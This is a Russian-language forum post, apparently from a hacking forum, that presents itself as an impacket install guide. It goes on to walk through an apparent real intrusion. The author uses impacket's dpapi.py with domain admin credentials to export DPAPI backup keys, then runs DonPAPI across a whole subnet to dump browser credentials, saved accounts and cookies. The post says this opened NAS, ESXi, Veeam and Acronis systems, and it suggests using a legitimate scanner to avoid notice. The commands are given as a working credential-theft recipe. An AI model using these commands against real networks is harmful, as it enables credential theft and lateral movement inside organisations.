LIMB
Вход Регистрация

тема

Как правильно установить impacket

ArmCorp · · 2 ответов · 102 просмотров

К разделу
Всех приветствую. Небольшая шпаргалка должна пригодиться вам.
Code: 
─(kali㉿kali)-[~/impacket/examples]
└─$ python3 dpapi.py
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies


Traceback (most recent call last):
  File "/home/kali/impacket/examples/dpapi.py", line 615, in <module>
    logger.init(options.ts, options.debug)
TypeError: init() takes from 0 to 1 positional arguments but 2 were given

Если у вас такая ошибка, то удалите impacket, переустановим его правильно.
git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip3 install . --break-system-packages

Не удалось прогрузить медиа


dpapi.py -h

Не удалось прогрузить медиа


Все работает! 

Например спиздим ключики

dpapi.py backupkeys -t <DOMAIN>/<USERNAME>:'<PASSWORD>'@<DC_IP> --export

Не удалось прогрузить медиа
👍6 ❤️1 😁1
Не удалось прогрузить медиа

Далее музочку подрубил... Ща расскажу че дальше
У нас возникли пролемы, мало кредов, а сервисов дохуя и больше. У нас ток DA была. То есть две учекти одна впн, вторая домейн админа. Мы решили снять дон.

mkdir -p /home/kali/recover/

DonPAPI -o ~/ collect -t 192.168.1.0/24 -u админ_да -p 'пароль' -d домен --pvkfile 'key.pvk'

Кто-то спросит что такое key.pvk - это бэкап ключи. Мы их получили импакетом, но там названием с уебанскими кавычкми я просто переименовал файл. Как я понимаю эти ключи нужны, чтобы расшифровать файлы которые шифровались с помощью механизма DPAPI. Кто забыл инфа шифруется на пароле, а мы не знаем старые пароли, мы знаем ток 1 пароль от DA, а этими ключами мы можем всю инфу расшифровать.

Не удалось прогрузить медиа


Мы получили просто всю инфу с сетки, сдампили креды с браузеров, сохраненные учетки, кукисы и т.д. Теперь у нас есть доступ в nas, esxi, veeam, акронис. Больше кредов для фаззинга. Вектор атаки сильно расширился.

Акронис еще задетектил что кто-то с рабочей тачки запускал Advanced_IP_Scanner. Скорее всего это были не соседи, а именно кто-то из сотрудников офиса. Софт вполне легитимный. Так что берем себе на заметку, сканим этой тулзой.

Не удалось прогрузить медиа


Вы спросите а че дальше - не выясняй! Просто ставь лайк! Жди продолжения, че как не свой. Хорошего по чуть-чуть

Не удалось прогрузить медиа

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.